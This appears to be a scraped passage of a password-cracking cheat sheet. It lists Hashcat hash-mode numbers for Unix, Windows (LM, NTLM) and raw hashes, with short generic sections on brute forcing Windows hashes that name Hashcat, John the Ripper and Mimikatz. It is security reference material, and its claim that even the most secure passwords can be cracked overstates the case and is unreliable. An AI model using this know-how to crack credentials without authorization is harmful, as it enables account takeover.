500 | md5crypt $1$, MD5(Unix)                          | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix)                      | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix)                    | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix)                    | Operating-Systems

Brute Forcing Windows Hashes

Introduction

When it comes to cracking Windows hashes, one of the most common methods is brute force attacks. This technique involves trying all possible combinations of characters until the correct password is found.

Tools

There are several tools available for performing brute force attacks on Windows hashes, such as John the Ripper and Hashcat. These tools are highly effective and can be used to crack passwords relatively quickly.

Methodology

The first step in brute forcing Windows hashes is to obtain the hash itself. This can be done by extracting the hash from the Windows operating system or by using tools like Mimikatz.

Once the hash is obtained, it can be fed into a brute force tool along with a wordlist containing possible passwords. The tool will then systematically try each password until the correct one is found.

Conclusion

Brute forcing Windows hashes can be a time-consuming process, especially if the password is complex. However, with the right tools and techniques, it is possible to crack even the most secure passwords.

3000 | LM                                               | Operating-Systems
1000 | NTLM                                             | Operating-Systems

Brute Forcing

Brute forcing is a common technique used to crack hashes. It involves trying all possible combinations of characters until the correct one is found. This method is often used when other techniques such as dictionary attacks fail to crack the hash. Brute forcing can be time-consuming and resource-intensive, but it is effective in cracking common application hashes.

900 | MD4                                              | Raw Hash
0 | MD5                                              | Raw Hash
5100 | Half MD5                                         | Raw Hash
100 | SHA1                                             | Raw Hash
10800 | SHA-384                                          | Raw Hash
1400 | SHA-256                                          | Raw Hash
1700 | SHA-512                                          | Raw Hash
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